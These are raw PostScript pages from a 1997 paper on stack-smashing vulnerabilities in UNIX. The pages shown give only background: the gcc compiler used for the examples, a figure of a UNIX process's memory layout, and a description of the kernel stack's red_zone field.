(t)A (h)S 28.400 0 32 -0.400 0 (e )D -0.600 0 (F)A -0.300 0 (r)A 28.400 0 32 -0.400 0 (ee )D 0.400 0 (S)A (o)S -0.300 0 (f)A 0.200 0 (t)A -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4250 M -0.600 0 (F)A (ound)S -0.400 0 (a)A 0.200 0 (ti)A (on)S -1.000 0 (')A 0.900 0 32 0.100 0 (s )D 1.200 0 32 -0.200 0 (GNU )D 0.700 0 32 0.300 0 (CC )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 1.000 0 32 (, )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 1957 4250 M (g)S -0.400 0 (cc)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2095 4250 M 1.000 0 32 (. )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 2172 4250 M (g)S -0.400 0 (cc)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2310 4250 M 1.000 0 32 ( )W 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (a)A (u)S 0.800 0 32 0.200 0 (lt )D 0.700 0 32 0.300 0 (C )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 2.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 2.400 0 32 -0.400 0 (e a)D 1.900 0 32 0.100 0 (s )D (p)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4427 M (o)S 2.300 0 32 -0.300 0 (f )D -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 5.000 0 32 -3.000 0 (y )D -0.200 0 (w)A -0.400 0 (e)A 1.800 0 32 0.200 0 (ll )D (kno)S -0.200 0 (w)A 2.000 0 32 (n )W -2.100 0 (L)A 0.200 0 (i)A (nu)S 1.000 0 32 1.000 0 (x )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 2.000 0 32 (on. )W 0.100 0 (M)A -0.400 0 (a)A 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A (n)S -0.400 0 (e)A 2.000 0 32 (d )W -0.400 0 (a)A 2.000 0 32 (nd )W -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (itt)A -0.400 0 (e)A 2.000 0 32 (n b)W 6.000 0 32 -3.000 0 (y )D 0.300 0 (R)A 0.200 0 (i)A -0.400 0 (c)A (h)S -0.400 0 (a)A -0.300 0 (r)A 3.000 0 32 (d )W 0.100 0 (M)A 3.000 0 32 (. )W 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (llm)A -0.400 0 (a)A 3.000 0 32 (n, )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 4254 4427 M (g)S -0.400 0 (cc)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4604 M 0.200 0 (i)A 36.900 0 32 0.100 0 (s )D 37.400 0 32 -0.400 0 (a )D -0.300 0 (fr)A 37.400 0 32 -0.400 0 (ee c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 37.300 0 32 -0.300 0 (r )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 37.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 37.300 0 32 -0.300 0 (r )D 38.400 0 32 -0.400 0 (a )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 38.300 0 32 -0.300 0 (r )D (o)S 38.300 0 32 -0.300 0 (f )D (d)S 0.200 0 (i)A -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (n)S 37.800 0 32 0.200 0 (t )D -0.200 0 (UN)A -2.300 0 (I)A 38.200 0 32 -0.200 0 (X )D -0.400 0 (a)A 38.000 0 32 (nd non)W -0.300 0 (-)A -0.200 0 (UN)A -2.300 0 (I)A 38.200 0 32 -0.200 0 (X )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4781 M -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (c)A (h)S 0.200 0 (it)A -0.400 0 (ec)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 14.000 0 32 (. )W -0.100 0 (E)A -0.300 0 (ff)A (o)S -0.300 0 (r)A 0.200 0 (t)A 13.900 0 32 0.100 0 (s )D (h)S -0.400 0 (a)A (v)S 14.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (ee)A 14.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (a)A (d)S 14.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 14.000 0 32 (o )W 0.200 0 (i)A (n)S 0.100 0 (s)A (u)S -0.300 0 (r)A 14.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 13.800 0 32 0.200 0 (t )D -0.400 0 (a)A 13.800 0 32 0.200 0 (ll )D 14.200 0 32 -0.200 0 (GNU )D 13.700 0 32 0.300 0 (CC )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 13.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 14.400 0 32 -0.400 0 (e )D -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (i)A 15.400 0 32 -0.400 0 (c )D 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4958 M (n)S -0.400 0 (a)A 0.200 0 (t)A (u)S -0.300 0 (r)A 1.400 0 32 -0.400 0 (e a)D 2.000 0 32 (nd do no)W 1.800 0 32 0.200 0 (t i)D (n)S -0.400 0 (c)A (o)S -0.300 0 (r)A (po)S -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A 2.400 0 32 -0.400 0 (e a)D (n)S 5.000 0 32 -3.000 0 (y )D (p)S -0.300 0 (r)A (op)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A -0.300 0 (r)A 5.000 0 32 -3.000 0 (y )D -1.000 0 (g)A -0.400 0 (cc)A -0.300 0 (-)A 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A 2.400 0 32 -0.400 0 (c e)D 1.000 0 (x)A 0.200 0 (t)A -0.400 0 (e)A (n)S 0.100 0 (s)A 0.200 0 (i)A (on)S 0.100 0 (s)A 2.000 0 32 (. )W 1.700 0 32 0.300 0 (C )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 2.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (ou)S -0.300 0 (r)A 2.400 0 32 -0.400 0 (ce c)D (od)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5135 M -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 20.900 0 32 0.100 0 (s )D 0.200 0 (i)A 21.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 20.900 0 32 0.100 0 (s )D (do)S -0.400 0 (c)A (u)S 0.200 0 (m)A -0.400 0 (e)A (n)S 20.800 0 32 0.200 0 (t )D -0.400 0 (c)A (on)S -0.300 0 (f)A (o)S -0.300 0 (r)A 20.800 0 32 0.200 0 (m t)D 21.000 0 32 (o )W -0.200 0 (AN)A 0.400 0 (S)A 23.300 0 32 -2.300 0 (I )D 20.700 0 32 0.300 0 (C )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A (d)S 20.900 0 32 0.100 0 (s )D -0.400 0 (a)A 21.000 0 32 (nd )W -0.400 0 (ca)A 22.000 0 32 (n b)W 22.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A (p)S -0.300 0 (r)A (odu)S -0.400 0 (ce)A 22.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 22.000 0 32 (h )W -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5312 M -0.100 0 (comparable compiler.)A ; LH savelevel1 restore pagesave restore (%%[ Page: 10 ]%%) = %%PageTrailer %%Page: 11 11 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; 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: 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3044 M -0.162 0 (and stack areas which are written by and are private to each process.)A ; LH savelevel1 restore pagesave restore (%%[ Page: 11 ]%%) = %%PageTrailer %%Page: 12 12 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (12)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; 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: 1675 0 1031 6391 rc 1674 1212 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1675 0 1031 6391 rc 1674 1412 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1675 0 1031 6391 rc 1674 1612 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1996 1086 2887 76 rc 0 0 0 sco F2_67 Ji 2069 1086 M -0.500 0 (u)A 0.937 0 (s)A -0.748 0 (e)A 0.561 0 32 -0.311 0 (r )D -0.748 0 (a)A 0.689 0 (r)A -0.748 0 (ea)A ; : 1898 1286 2985 76 rc 0 0 0 sco F2_67 Ji 1971 1286 M -0.500 0 (p)A 0.937 0 (s)A -0.500 0 (_)A -1.063 0 (s)A 0.374 0 (t)A -0.311 0 (r)A 0.374 0 (i)A -0.500 0 (ng)A -0.687 0 32 -0.063 0 (s )D 0.937 0 (s)A -0.626 0 (t)A -0.311 0 (r)A -0.500 0 (u)A 0.252 0 (c)A -0.626 0 (t)A ; : 1964 1485 2919 76 rc 0 0 0 sco F2_67 Ji 2037 1485 M -0.063 0 (s)A 0.374 0 (i)A -0.500 0 (gn)A -0.748 0 (a)A -0.124 0 32 0.374 0 (l )D -0.748 0 (c)A -0.500 0 (o)A 0.500 0 (d)A -0.748 0 (e)A ; : 1675 0 1031 6391 rc 1674 1811 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1675 0 1031 6391 rc 1674 2011 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1970 1685 2913 76 rc 0 0 0 sco F2_67 Ji 2043 1685 M 0.252 0 (e)A 0.750 0 32 -0.500 0 (nv )D -0.063 0 (s)A -0.626 0 (t)A 0.689 0 (r)A -0.626 0 (i)A -0.500 0 (ng)A -0.063 0 (s)A ; : 1959 1885 2924 76 rc 0 0 0 sco F2_67 Ji 2032 1885 M 0.252 0 (a)A -0.311 0 (r)A 0.750 0 32 -0.500 0 (gv )D -0.063 0 (s)A 0.374 0 (t)A -0.311 0 (r)A -0.626 0 (i)A -0.500 0 (ng)A 0.937 0 (s)A ; : 1951 2084 2932 76 rc 0 0 0 sco F2_67 Ji 2024 2084 M 0.252 0 (e)A 0.750 0 32 -0.500 0 (nv p)D 0.500 0 (o)A -0.626 0 (i)A -0.500 0 (n)A 0.374 0 (t)A -0.748 0 (e)A -0.311 0 (r)A -0.063 0 (s)A ; : 1941 2283 2942 76 rc 0 0 0 sco F2_67 Ji 2014 2283 M 0.252 0 (a)A -0.311 0 (r)A 0.750 0 32 -0.500 0 (gv p)D 0.500 0 (o)A -0.626 0 (i)A -0.500 0 (n)A 0.374 0 (t)A -0.748 0 (e)A -0.311 0 (r)A -0.063 0 (s)A ; : 2058 2483 2825 76 rc 0 0 0 sco F2_67 Ji 2131 2483 M 0.252 0 (a)A -0.311 0 (r)A -0.500 0 (g)A 0.252 0 (c)A ; : 1983 2683 2900 76 rc 0 0 0 sco F2_67 Ji 2056 2683 M -0.500 0 (u)A 0.937 0 (s)A -0.748 0 (e)A 0.561 0 32 -0.311 0 (r )D -1.063 0 (s)A 0.374 0 (t)A 0.252 0 (a)A -0.748 0 (c)A -0.500 0 (k)A ; : 1675 0 1031 6391 rc 1674 2211 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1675 0 1031 6391 rc 1674 2410 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1675 0 1031 6391 rc 1674 2610 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1675 0 1031 6391 rc 1674 3550 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2052 3395 2831 76 rc 0 0 0 sco F2_67 Ji 2125 3395 M -0.500 0 (h)A 0.252 0 (e)A -0.748 0 (a)A 0.500 0 (p)A ; : 0 2780 4883 149 rc 2188 2779 N M 0 147 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; 2173 2916 N M 15 5 - 16 -5 - -16 35 - -15 -35 - C : 0 0 0 sco O ; : 0 3234 4883 150 rc 2188 3233 N M 0 147 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; 2204 3243 N M -16 -5 - -15 5 - 15 -35 - 16 35 - C : 0 0 0 sco O ; : 1675 0 1031 6391 rc 1674 3721 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2072 3595 2811 76 rc 0 0 0 sco F2_67 Ji 2145 3595 M -0.500 0 (b)A 0.937 0 (s)A -1.063 0 (s)A ; : 1675 0 1031 6391 rc 1674 3921 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1919 3794 2964 76 rc 0 0 0 sco F2_67 Ji 1992 3794 M 0.374 0 (i)A -0.500 0 (n)A -0.626 0 (i)A 0.374 0 (t)A -0.626 0 (i)A 0.252 0 (a)A -0.626 0 (l)A 0.374 0 (i)A -0.748 0 (z)A 0.252 0 (e)A 0.750 0 32 -0.500 0 (d d)D 0.252 0 (a)A -0.626 0 (t)A -0.748 0 (a)A ; : 1675 0 1031 6391 rc 1674 4120 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2065 3994 2818 76 rc 0 0 0 sco F2_67 Ji 2138 3994 M 0.374 0 (t)A -0.748 0 (e)A 0.500 0 (x)A -0.626 0 (t)A ; : 1122 3994 3761 76 rc 0 0 0 sco F2_67 Ji 1195 3994 M -0.500 0 (0)A 0.500 0 (x)A -0.500 0 (000)A 0.500 0 (0)A -0.500 0 (00)A 0.500 0 (0)A -0.500 0 (0)A ; : 1081 4113 3802 76 rc 0 0 0 sco F2_67 Ji 1154 4113 M -0.311 0 (\()A 0.374 0 (l)A -0.500 0 (o)A 0.624 0 32 -0.374 0 (w )D -0.748 0 (a)A 0.500 0 (d)A -0.500 0 (d)A -0.311 0 (r)A -0.748 0 (e)A 0.937 0 (s)A -1.063 0 (s)A 0.252 0 (e)A -1.063 0 (s)A 0.689 0 (\))A ; : 945 688 3938 76 rc 0 0 0 sco F2_67 Ji 1018 688 M -0.500 0 (0)A 0.500 0 (x)A -0.252 0 (FFF)A -0.500 0 (00)A 0.500 0 (0)A -0.500 0 (00)A ; : 900 807 3983 76 rc 0 0 0 sco F2_67 Ji 973 807 M -0.311 0 (\()A -0.500 0 (h)A 0.374 0 (i)A 0.750 0 32 -0.500 0 (gh )D 0.252 0 (a)A -0.500 0 (dd)A -0.311 0 (r)A 0.252 0 (e)A -0.063 0 (ss)A -0.748 0 (e)A -0.063 0 (s)A -0.311 0 (\))A ; : 3072 0 1031 6391 rc 3071 3721 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 3341 3595 1542 76 rc 0 0 0 sco F2_67 Ji 3414 3595 M -0.063 0 (s)A 0.500 0 (y)A -1.126 0 (m)A 0.500 0 (b)A -0.500 0 (o)A 0.876 0 32 -0.626 0 (l t)D 0.252 0 (a)A -0.500 0 (b)A 0.374 0 (l)A -0.748 0 (e)A ; : 3072 0 1031 6391 rc 3071 3921 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 3315 3794 1568 76 rc 0 0 0 sco F2_67 Ji 3388 3794 M 0.374 0 (i)A -0.500 0 (n)A -0.626 0 (i)A 0.374 0 (t)A -0.626 0 (i)A 0.252 0 (a)A -0.626 0 (l)A 0.374 0 (i)A -0.748 0 (z)A 0.252 0 (e)A 0.750 0 32 -0.500 0 (d d)D 0.252 0 (a)A -0.626 0 (t)A -0.748 0 (a)A ; : 3072 0 1031 6391 rc 3071 4120 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 3462 3994 1421 76 rc 0 0 0 sco F2_67 Ji 3535 3994 M 0.374 0 (t)A -0.748 0 (e)A 0.500 0 (x)A -0.626 0 (t)A ; 3100 4148 N M 1028 429 rr : 0.588 0.588 0.588 sco O ; 3074 4122 N M 1022 424 rr : 1.000 1.000 1.000 sco O ; : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K : 3103 4279 1780 76 rc 0 0 0 sco F2_67 Ji 3176 4279 M 0.374 0 (l)A -0.626 0 (i)A -0.500 0 (n)A 0.500 0 (k)A -0.748 0 (e)A 0.561 0 32 -0.311 0 (r )D -0.500 0 (h)A 0.252 0 (e)A -0.748 0 (a)A 0.500 0 (d)A -0.748 0 (e)A 0.561 0 32 -0.311 0 (r )D -0.624 0 32 -0.126 0 (& m)D 0.252 0 (a)A -0.500 0 (g)A -0.626 0 (i)A 0.998 0 32 -0.748 0 (c )D -0.500 0 (n)A 0.500 0 (u)A -0.126 0 (m)A -0.500 0 (b)A -0.748 0 (e)A 0.689 0 (r)A ; : 2701 0 376 6391 rc 2700 3718 N M 19 5 rr : 0 0 0 sco O ; ; 2738 3718 N M 19 5 rr : 0 0 0 sco O ; 2776 3718 N M 19 5 rr : 0 0 0 sco O ; 2814 3718 N M 19 5 rr : 0 0 0 sco O ; 2852 3718 N M 19 5 rr : 0 0 0 sco O ; 2890 3718 N M 19 5 rr : 0 0 0 sco O ; 2928 3718 N M 19 5 rr : 0 0 0 sco O ; 2966 3718 N M 19 5 rr : 0 0 0 sco O ; 3004 3718 N M 19 5 rr : 0 0 0 sco O ; 3042 3718 N M 19 5 rr : 0 0 0 sco O ; : 2701 0 376 6391 rc 2700 3918 N M 19 5 rr : 0 0 0 sco O ; ; 2738 3918 N M 19 5 rr : 0 0 0 sco O ; 2776 3918 N M 19 5 rr : 0 0 0 sco O ; 2814 3918 N M 19 5 rr : 0 0 0 sco O ; 2852 3918 N M 19 5 rr : 0 0 0 sco O ; 2890 3918 N M 19 5 rr : 0 0 0 sco O ; 2928 3918 N M 19 5 rr : 0 0 0 sco O ; 2966 3918 N M 19 5 rr : 0 0 0 sco O ; 3004 3918 N M 19 5 rr : 0 0 0 sco O ; 3042 3918 N M 19 5 rr : 0 0 0 sco O ; : 2701 0 376 6391 rc 2700 4117 N M 19 5 rr : 0 0 0 sco O ; ; 2738 4117 N M 19 5 rr : 0 0 0 sco O ; 2776 4117 N M 19 5 rr : 0 0 0 sco O ; 2814 4117 N M 19 5 rr : 0 0 0 sco O ; 2852 4117 N M 19 5 rr : 0 0 0 sco O ; 2890 4117 N M 19 5 rr : 0 0 0 sco O ; 2928 4117 N M 19 5 rr : 0 0 0 sco O ; 2966 4117 N M 19 5 rr : 0 0 0 sco O ; 3004 4117 N M 19 5 rr : 0 0 0 sco O ; 3042 4117 N M 19 5 rr : 0 0 0 sco O ; : 1770 4166 3113 98 rc 0 0 0 sco (F2_86) cvn F2 86 xF F2_86 Ji 1863 4166 M (p)S -0.638 0 (r)A (o)S -0.184 0 (ce)A 0.546 0 (s)A -0.046 0 32 -0.454 0 (s )D 0.092 0 (i)A -0.500 0 32 (n )W 0.092 0 (m)A -0.184 0 (e)A -0.908 0 (m)A (o)S -0.638 0 (r)A (y)S ; : 3073 4593 1810 98 rc 0 0 0 sco F2_86 Ji 3166 4593 M 0.362 0 (f)A -0.908 0 (i)A 0.092 0 (l)A 0.684 0 32 -0.184 0 (e )D -0.908 0 (i)A 0.500 0 32 (n )W -0.454 0 (s)A -0.184 0 (ec)A (o)S -1.000 0 (n)A (d)S -0.184 0 (a)A 0.362 0 (r)A 1.500 0 32 -1.000 0 (y )D -0.454 0 (s)A 0.092 0 (t)A -1.000 0 (o)A 0.362 0 (r)A -0.184 0 (a)A (g)S -1.184 0 (e)A ; : 2917 1971 1966 98 rc 0 0 0 sco F2_86 Ji 3010 1971 M -0.184 0 (c)A (o)S -0.908 0 (m)A 0.092 0 (m)A -0.184 0 (a)A -0.500 0 32 (nd )W 0.092 0 (l)A -0.908 0 (i)A (n)S 0.684 0 32 -0.184 0 (e a)D -0.638 0 (r)A (gu)S -0.908 0 (m)A -0.184 0 (e)A (n)S 0.092 0 (t)A -0.454 0 (s)A ; : 2969 2074 1914 98 rc 0 0 0 sco F2_86 Ji 3062 2074 M -0.184 0 (a)A -0.500 0 32 (nd )W -0.454 0 (s)A (h)S -0.184 0 (e)A -0.592 0 32 0.092 0 (ll )D -0.184 0 (e)A (nv)S -0.908 0 (i)A 0.362 0 (r)A (o)S -1.000 0 (n)A 0.092 0 (m)A -0.184 0 (e)A (n)S -0.908 0 (t)A ; : 2929 2210 290 404 rc 3217 2211 N M -4 -2 - -14 19 - 4 2 - 14 -19 - C : 0 0 0 sco O ; ; 3189 2249 N M -3 -2 - -14 19 - 4 2 - 13 -19 - C : 0 0 0 sco O ; 3162 2287 N M -4 -2 - -13 19 - 3 2 - 14 -19 - C : 0 0 0 sco O ; 3135 2325 N M -4 -2 - -14 19 - 5 2 - 13 -19 - C : 0 0 0 sco O ; 3108 2363 N M -4 -2 - -13 19 - 3 2 - 14 -19 - C : 0 0 0 sco O ; 3081 2401 N M -4 -2 - -14 19 - 4 2 - 14 -19 - C : 0 0 0 sco O ; 3053 2439 N M -3 -2 - -14 19 - 4 2 - 13 -19 - C : 0 0 0 sco O ; 3027 2477 N M -5 -2 - -13 19 - 4 2 - 14 -19 - C : 0 0 0 sco O ; 2999 2515 N M -3 -2 - -14 19 - 4 2 - 13 -19 - C : 0 0 0 sco O ; 2972 2553 N M -4 -2 - -13 19 - 3 2 - 14 -19 - C : 0 0 0 sco O ; : 2929 2210 290 404 rc 2945 2591 N M -4 -2 - -14 19 - 5 2 - 13 -19 - C : 0 0 0 sco O ; ; : 2929 1612 290 346 rc 2932 1610 N M -5 3 - 17 19 - 3 -3 - -15 -19 - C : 0 0 0 sco O ; ; 2963 1648 N M -3 3 - 15 19 - 4 -3 - -16 -19 - C : 0 0 0 sco O ; 2995 1686 N M -4 3 - 16 19 - 4 -3 - -16 -19 - C : 0 0 0 sco O ; 3027 1724 N M -5 3 - 17 19 - 3 -3 - -15 -19 - C : 0 0 0 sco O ; 3058 1762 N M -3 3 - 15 19 - 4 -3 - -16 -19 - C : 0 0 0 sco O ; 3090 1800 N M -4 3 - 16 19 - 4 -3 - -16 -19 - C : 0 0 0 sco O ; 3122 1838 N M -5 3 - 17 19 - 3 -3 - -15 -19 - C : 0 0 0 sco O ; 3153 1876 N M -3 3 - 15 19 - 4 -3 - -16 -19 - C : 0 0 0 sco O ; 3185 1914 N M -4 3 - 16 19 - 4 -3 - -16 -19 - C : 0 0 0 sco O ; 3217 1952 N M -4 3 - 4 -3 - C : 0 0 0 sco O ; : 2701 0 233 6391 rc 2700 2607 N M 19 5 rr : 0 0 0 sco O ; ; 2738 2607 N M 19 5 rr : 0 0 0 sco O ; 2776 2607 N M 19 5 rr : 0 0 0 sco O ; 2814 2607 N M 19 5 rr : 0 0 0 sco O ; 2852 2607 N M 19 5 rr : 0 0 0 sco O ; 2890 2607 N M 19 5 rr : 0 0 0 sco O ; 2928 2607 N M 2 5 rr : 0 0 0 sco O ; : 2701 0 233 6391 rc 2700 1609 N M 19 5 rr : 0 0 0 sco O ; ; 2738 1609 N M 19 5 rr : 0 0 0 sco O ; 2776 1609 N M 19 5 rr : 0 0 0 sco O ; 2814 1609 N M 19 5 rr : 0 0 0 sco O ; 2852 1609 N M 19 5 rr : 0 0 0 sco O ; 2890 1609 N M 19 5 rr : 0 0 0 sco O ; 2928 1609 N M 2 5 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 1456 4943 M 0.236 0 (Figure 7.a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1818 4944 M 0.053 0 ( UNIX Process in primary and secondary storage[5])A ; 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: 0 0 4883 6391 rc 0 0 0 sco F8_83 Ji 612 2478 M 0.200 0 (red_zone)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1012 2453 M 3.000 0 32 ( )W 0.200 0 (i)A 2.900 0 32 0.100 0 (s )D 3.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A (v)S -0.400 0 (e)A 3.000 0 32 (d )W -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (e)A 0.200 0 (l)A 3.000 0 32 (d, no)W 2.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 2.800 0 32 0.200 0 (t )D (und)S -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D -0.400 0 (ce)A -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A 3.000 0 32 (n h)W -0.400 0 (a)A -0.300 0 (r)A (d)S -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A 4.400 0 32 -0.400 0 (e a)D -0.300 0 (r)A -0.400 0 (c)A (h)S 0.200 0 (it)A -0.400 0 (ec)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 4.000 0 32 (, u)W 0.100 0 (s)A -0.400 0 (e)A 4.000 0 32 (d )W 0.200 0 (t)A 4.000 0 32 (o p)W -0.300 0 (r)A (o)S 0.200 0 (t)A -0.400 0 (ec)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2630 M 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (e)A -0.300 0 (r-)A (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 7.900 0 32 0.100 0 (ss )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 8.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 9.000 0 32 (k. )W -0.100 0 (T)A (h)S 9.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F8_83 Ji 1995 2655 M 0.200 0 (red_zone)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2395 2630 M 9.000 0 32 ( )W 0.100 0 (s)A 0.200 0 (it)A 8.900 0 32 0.100 0 (s )D -0.400 0 (a)A 8.800 0 32 0.200 0 (t t)D (h)S 9.400 0 32 -0.400 0 (e )D (h)S 0.200 0 (i)A -1.000 0 (g)A (h)S -0.400 0 (e)A 0.100 0 (s)A 8.800 0 32 0.200 0 (t m)D -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 12.000 0 32 -3.000 0 (y )D -0.400 0 